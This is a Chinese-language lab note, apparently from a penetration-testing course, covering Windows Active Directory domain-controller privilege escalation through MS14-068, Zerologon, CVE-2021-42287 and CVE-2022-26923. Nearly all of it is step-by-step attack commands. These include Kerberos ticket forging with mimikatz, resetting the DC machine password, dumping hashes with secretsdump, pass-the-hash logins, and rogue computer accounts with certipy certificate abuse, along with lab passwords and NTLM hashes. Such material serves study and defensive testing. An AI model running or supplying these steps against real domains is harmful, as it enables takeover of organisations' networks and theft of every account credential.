第106天：权限提升-WIN 系统&AD域控&NetLogon&ADCS&PAC&KDC&CVE 漏洞

目录

案例一：WIN-域控提权-CVE-2014-6324

案例二：WIN-域控提权-CVE-2020-1472

案例三：WIN-域控提权-CVE-2021-42287

案例四：WIN-域控提权-CVE-2022-26923

---

案例一：WIN-域控提权-CVE-2014-6324

首先先部署域控

项目下载地址

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/gentilkiwi/mimikatz
https://github.com/crupper/Forensics-Tool-Wiki/tree/master/windowsTools

获得域用户的suid值

whoami /user

通过查看时间查看域控主机名

net time /domain

 ping域控主机名来查看ip

获取计算机的一些信息

net config workstation

利用工具伪造kerberos协议认证证书

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
ms14-068.exe -u jie@qq.com -p 1234.com -s S-1-5-21-3844935259-2139444640-2602687446-1104 -d 192.168.172.138

启动mimikatz

清空当前的票据缓存

kerberos::purge  清空

kerberos::list   列出

导入伪造的票据

kerberos::ptc "TGT_jie@qq.com.ccache"

查看c盘文件

dir \\dc1.qq.com\C$

利用psexec连接域控

PsExec.exe \\dc1.qq.com cmd

查看ip已经变成了域控机的ip

案例二：WIN-域控提权-CVE-2020-1472

影响范围以及利用条件

CVE-2020-1472 是继 MS17010 之后好用的 NetLogon 特权域控提权漏洞，

影响 Windows Server 2008R2 至 Windows Server 2019 的多个版本系统，

只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞 .

该漏洞不要求当前计算机在域内 , 也不要求当前计算机操作系统为 Windows.

资源下载地址

POC：https://github.com/SecuraBV/CVE-2020-1472
EXP：https://github.com/dirkjanm/CVE-2020-1472
Impacket：https://github.com/fortra/impacket

获得计算机名

nbtscan -v -h 192.168.3.21

测试漏洞是否能够正常使用

python3 zerologon_tester.py DC1 192.168.172.138

重置空密码

python3 cve-2020-1472-exploit.py DC1 192.168.172.138

连接后导出哈希

python3 secretsdump.py qq.com/DC1\$@192.168.172.138 -no-pass

这里尝试利用administrator进行登录

python3 wmiexec.py Administrator@192.168.172.138 -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942

也可以在前面加上域名进行访问

案例三：WIN-域控提权-CVE-2021-42287

利用条件

可以访问域控主机

需要域用户账号密码

资源下载地址：https://github.com/safebuffer/sam-the-admin

命令

python3 sam_the_admin.py 域名/'域控主机账号:密码'  -dc-ip 域控ip -shell

python3 sam_the_admin.py qq/'administrator:123.com' -dc-ip 192.168.172.138 -shell

案例四：WIN-域控提权-CVE-2022-26923

利用条件

知道一个域控普通用户的账号密码

并且域控内有ca证书服务器

利用命令查看ca名以及计算机min

certutil -config - -ping

资源下载地址：GitHub - ly4k/Certipy: Tool for Active Directory Certificate Services enumeration and abuse

安装必要的插件

python3 .\setup.py install

 申请一个证书

certipy req 'ip/域用户名:密码@域控计算机名' -target-ip 域控ip -ca abc-DC1-CA -template User -debug

certipy req '192.168.172.145/jie:123.com@dc1.abc.com' -target-ip 192.168.172.145 -ca abc-DC1-CA -template User -debug

检测证书

certipy auth -pfx jie.pfx -dc-ip 192.168.172.145 -debug

添加计算机账号

项目地址：GitHub - CravateRouge/bloodyAD: BloodyAD is an Active Directory Privilege Escalation Framework

python3 bloodyAD.py -d abc.com -u jie -p '123.com' --host 192.168.172.145 addComputer pwnmachine 'CVEPassword1234*'

 

 设置属性

python3 bloodyAD.py -d abc.com -u jie -p '123.com' --host 192.168.172.145 setAttribute 'CN=pwnmachine,CN=Computers,DC=abc,DC=com' dNSHostName '["dc1.abc.com"]'

利用添加的计算机账户来申请证书

certipy req '192.168.172.145/pwnmachine$:CVEPassword1234*@dc1.abc.com' -target-ip 192.168.172.145 -ca abc-DC1-CA -template Machine -debug

检测该证书的有效性

certipy auth -pfx dc1.pfx -dc-ip 192.168.172.145 -debug

利用机器用户的hash来导出系统的哈希

项目下载地址： GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.

sudo python3 secretsdump.py 'dc1$@192.168.172.145' -hashes :41907e434e325b51c0aeed7d2cc0fac3

利用admin的hash进行连接

python3 wmiexec.py Administrator@192.168.172.145 -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942

权限提升结束，参考文章：Active Directory 域服务特权提升漏洞 CVE-2022–26923